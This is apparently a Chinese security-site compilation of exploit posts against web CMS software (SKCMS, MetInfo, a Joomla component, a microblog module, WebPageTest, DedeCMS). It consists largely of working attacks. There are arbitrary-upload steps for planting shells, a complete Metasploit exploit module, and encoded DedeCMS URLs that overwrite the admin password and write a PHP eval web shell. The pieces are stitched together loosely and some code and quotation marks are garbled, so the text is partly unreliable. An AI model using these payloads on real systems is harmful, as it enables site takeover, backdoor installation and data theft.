下面是小编为大家推荐的SKCMS存在任意文件上传漏洞可直接getshell漏洞预警(共含6篇），欢迎阅读，希望大家能够喜欢。同时，但愿您也能像本文投稿人“关中大侠吕轻侯”一样，积极向本站投稿分享好文章。
上传漏洞，无需后台权限直接上传，无过滤，导致文件非法上传！
SKCMS/upload/swfupload/load.asp
www.0day5.com/SKCMS/upload/swfupload/load.asp
SKCMS/upload/file_manager_json.asp
MetInfo 23号发布了新版本5.1.5，修补了本文提到的漏洞，当然严格来说应该是任意变量覆盖漏洞....
ps：欢迎各种形式，首发t00ls.net
注：请勿利用本文内容从事一切非法活动，否则后果自负
author:my5t3ry
废话不多说，看代码：
includecommon.inc.php20-39$db_settings=parse_ini_file(ROOTPATH.'config/config_db.php');@extract($db_settings);require_once ROOTPATH.'include/mysql_class.php';$db=newdbmysql;$db->dbconn($con_db_host,$con_db_id,$con_db_pass,$con_db_name);define('MAGIC_QUOTES_GPC',get_magic_quotes_gpc());isset($_REQUEST['GLOBALS'])&&exit('Access Error');require_once ROOTPATH.'include/global.func.php';foreach(array('_COOKIE','_POST','_GET')as$_request){foreach($$_requestas$_key=>$_value){$_key{0}!='_'&&$$_key=daddslashes($_value);}}$query=“select * from {$tablepre}config where name='met_tablename' and lang='metinfo'”;$mettable=$db->get_one($query);$mettables=explode('|',$mettable[value]);foreach($mettablesas$key=>$val){$tablename='met_'.$val;$$tablename=$tablepre.$val;}
metinfo系统通过查询数据库的{$tablepre}config表，并将获取的结果通过foreach循环初始化表名变量，其中的
是通过代码
$db_settings = parse_ini_file(ROOTPATH.'config/config_db.php'); @extract($db_settings);
来初始化的，然后在系统中使用这样“SELECT * FROM $met_message where id=$id and lang='$lang'”的SQL查询数据库，
其中的$met_message变量就是前面foreach循环初始化的变量……
我们可以覆盖$tablepre变量使表名初始化失败，进而提交表名变量.....
我找了个后台的上传页面，通过覆盖变量绕过后台验证并且覆盖允许上传后缀列表，构造上传漏洞，
MetInfov5.1.3 任意文件上传漏洞漏洞预警
，
exp：任意文件上传
任意文件上传
作者：1337
1. 有些joomal需要先注册.
site/index.php?option=com_user&view=login
2. 到上传地址
/index.php?option=com_ksadvertiser&Itemid=36&task=add&catid=0&lang=en
3. 点击image后点击upload,选择shell, 将shell重名为adm1n.php.jpg格式.
4. 上传后的文件在/ images/ksadvertiser/U0 这个目录下.
site/images/ksadvertiser/U0/adm1n.php.gif
Demo: alt.kiss-software.de/images/ksadvertiser/U0/403.php.gif
修复：
已通知官方
某模块未对上传文件类型进行验证，可上传任意文件
代码产生位置
appswapLibActionIndexAction.class.php
263行
if(!empty($_FILES['pic']['name'])) { // 自动发一条图片微博
$data['pic'] = $_FILES['pic'];
$data['content'] = '图片分享';
$data['from'] = $this->_type_wap;
$res = api('Statuses')->data($data)->upload;
}
未对文件类型过滤
访问wap 模块
发一条微博并传图
firebug 地址
去掉small_然后访问
www.myhack58.com/data/uploads//1023/17/50865d481c217.php
修复方案：
对上传类型要进行检查
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => “WebPageTest Arbitrary PHP File Upload”,
'Description' => %q{
This module exploits a vulnerability found in WebPageTest's Upload Feature. By
default, the resultimage.phpfile does not verify the user-supplied item before
saving it to disk, and then places this item in the web directory accessable by
remote users. This flaw can be abused to gain remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'dun', #Discovery, PoC
'sinn3r' #Metasploit
],
'References' =>
[
['OSVDB', '83822'],
['EDB', '19790']
],
'Payload' =>
{
'BadChars' => “x00”
},
'DefaultOptions' =>
{
'ExitFunction' => “none”
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['WebPageTest v2.6 or older', {}]
],
'Privileged' => false,
'DisclosureDate' => “Jul 13 2012”,
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to WebPageTest', '/www/'])
], self.class)
end
def check
peer = “#{rhost}:#{rport}”
target_uri.path << '/' if target_uri.path[-1,1] != '/'
base = File.dirname(“#{target_uri.path}.”)
res1 = send_request_raw({'uri'=>“#{base}/index.php”})
res2 = send_request_raw({'uri'=>“#{base}/work/resultimage.php”})
if res1 and res1.body =~ /WebPagetest - Website Performance and Optimization Test/ and
res2 and res2.code == 200
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def on_new_session(cli)
if cli.type != “meterpreter”
print_error(“No automatic cleanup for you. Please manually remove: #{@target_path}”)
return
end
cli.core.use(“stdapi”) if not cli.ext.aliases.include?(“stdapi”)
cli.fs.file.rm(@target_path)
print_status(“#{@target_path} removed”)
end
def exploit
peer = “#{rhost}:#{rport}”
target_uri.path << '/' if target_uri.path[-1,1] != '/'
base = File.dirname(“#{target_uri.path}.”)
p = payload.encoded
fname = “blah.php”
data = Rex::MIME::Message.new
data.add_part(
“
'multipart/form-data', #Content Type
nil, #Transfer Encoding
”form-data; name=“file”; filename=“#{fname}”“ #Content Disposition
)
print_status(”#{peer} - Uploading payload (#{p.length.to_s} bytes)...“)
res = send_request_cgi({
'method' => 'POST',
'uri' => ”#{base}/work/resultimage.php“,
'ctype' => ”multipart/form-data; boundary=#{data.bound}“,
'data' => data.to_s
})
if not res
print_error(”#{peer} - No response from host“)
return
end www.xxxxo.com
@target_path = ”#{base}/results/#{fname}“
print_status(”#{peer} - Requesting #{@target_path}“)
res = send_request_cgi({'uri'=>@target_path})
handler
if res and res.code == 404
print_error(”#{peer} - Payload failed to upload“)
end
end
end
此漏洞无视gpc转义，过80sec注入防御，
补充下，不用担心后台找不到。这只是一个demo，都能修改任意数据库了，还怕拿不到SHELL？
起因是全局变量$GLOBALS可以被任意修改，随便看了下，漏洞一堆，我只找了一处。
include/dedesql.class.php
if(isset($GLOBALS['arrs1']))
{
$v1 = $v2 = '';
for($i=0;isset($arrs1[$i]);$i++)
{
$v1 .= chr($arrs1[$i]);
}
for($i=0;isset($arrs2[$i]);$i++)
{
$v2 .= chr($arrs2[$i]); //解码ascii
}
$GLOBALS[$v1] .= $v2; //注意这里不是覆盖，是+
}
function SetQuery($sql)
{
$prefix=”#@__“;
$sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql); //看到这里无话可说，不明白为什么要这样做。
$this->queryString = $sql;
另外说下绕过80sec防注入的方法。
同一文件中，有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2
而用ExecuteNoneQuery2执行SQL并没有防注入，于是随便找个用ExecuteNoneQuery2执行的文件。
plus/download.php
else if($open==1)
{
$id = isset($id) && is_numeric($id) ? $id : 0;
$link = base64_decode(urldecode($link));
$hash = md5($link);//这里的#@_是可以控制的
$rs = $dsql->ExecuteNoneQuery2(”UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' “);
if($rs ExecNoneQuery($query);
}
header(”location:$link");
exit();
}
构造SQL语句 (提交的时候用ascii加密，程序会帮我们自动解密的，所以无视gpc)：
admin` SET `userid`=’spider’, `pwd`=’f297a57a5a743894a0e4′ where id=1 #
完整SQL语句:
UPDATE `dede_admin` SET `userid`=’spider’, `pwd`=’f297a57a5a743894a0e4′ where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash=’$hash’
EXP:
localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35
如果不出问题，后台登录用户spider密码admin
漏洞真的不止一处，各种包含，远程代码执行，很多，列位慢慢研究，
如果找不到后台，参见以前修改数据库直接拿SHELL的方法
UPDATE `dede_mytag` SET `normbody` = ‘{dede:php}file_put_contents(”spider.php”,””);{/dede:php}’ WHERE `aid` =1 LIMIT 1 ;
GETSHELL:
localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35
update成功后，访问下127.0.0.1/plus/mytag_js.php?aid=1
会在plus目录生成 x.php 密码 m
127.0.0.1/plus/x.php
失败原因：
测试发现，如果aid为空或已经生成过一次，则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)
★ eWebeditoR3.8 for php任意文件上传EXP漏洞预警
★ ECSHOP跨站+后台文件包含=Getshell漏洞预警
★ dedecms 5.7 edit.inc.php文件注射漏洞预警
